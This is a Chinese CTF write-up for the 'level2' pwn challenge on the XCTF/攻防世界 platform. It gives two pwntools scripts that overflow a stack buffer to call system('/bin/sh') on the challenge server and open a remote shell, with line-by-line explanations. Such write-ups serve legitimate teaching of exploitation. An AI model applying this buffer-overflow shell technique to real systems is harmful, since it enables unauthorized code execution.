• 攻防世界 | level2


    # ! /usr/bin/env python
    # -*- coding:utf-8 -*-
    from pwn import *
    context.log_level = 'debug'
    elf = ELF('leve2')
    sys_addr = elf.symbols['system']
    sh_addr = elf.search('/bin/sh').next()
    payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
    io = remote('111.198.29.45',53269)
    io.sendlineafter("Input:
    ", payload)
    io.interactive()
    io.close()

     代码解析:

    elf = ELF('leve2') 
    sys_addr = elf.symbols['system']
    • 找到system函数 的地址

    sh_addr = elf.search('/bin/sh').next()

    • 找到包含'/bin/sh'的地址.

    payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

    • p32()可以让我们转换整数到小端序格式,转换4字节
    • p32(0xdeadbeef) :system的参数栈要求dw 4

    io = remote('111.198.29.45',53269)

    • 连接远程主机

    io.sendlineafter("Input: ", payload)

    • 接收到 some_string 后, 发送你的 payload

    io.interactive()

    • 允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .

    io.close()


    另一种payload:

    #encoding=utf-8
    from pwn import *
    a = remote('111.198.29.45',53269)
    ##system函数的地址
    sysaddr = 0x08048320
    ##程序中/bin/sh字符串所在的地址
    binshaddr = 0x0804A024
    # 0x88是程序中缓冲区的大小,4个大小是需要覆盖的ebp的地址,之后是函数的返回地址,被system的地址覆盖了,进入到system函数之后,需要构造system函数的栈帧因为ebp+8是形参的地址
    #所以需要四个字节的填充p32(0),后面放的是system里面的参数的地址。这样子溢出之后就会获得shell payload = 'a'*0x88+'b'*4+p32(sysaddr)+p32(0)+p32(binshaddr) a.send(payload) a.interactive()


    参考:

    https://bbs.pediy.com/thread-247217.htm 

    https://bbs.pediy.com/thread-251334.htm

    https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5055&number=2&grade=0&page=1

  • 相关阅读:
    Linux临时增加swap空间
    Build RPM package from source code
    svn installation
    svn merge详解
    VMware DRS概述及功能
    VMware Fault Tolerance 概述及功能
    VMware HA 特性
    VMware Storage VMotion概述及功能
    Windows1小时后关机命令
    WINDOWS2008 KMS 服务器安装及激活
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/11768058.html
Copyright © 2020-2023  润新知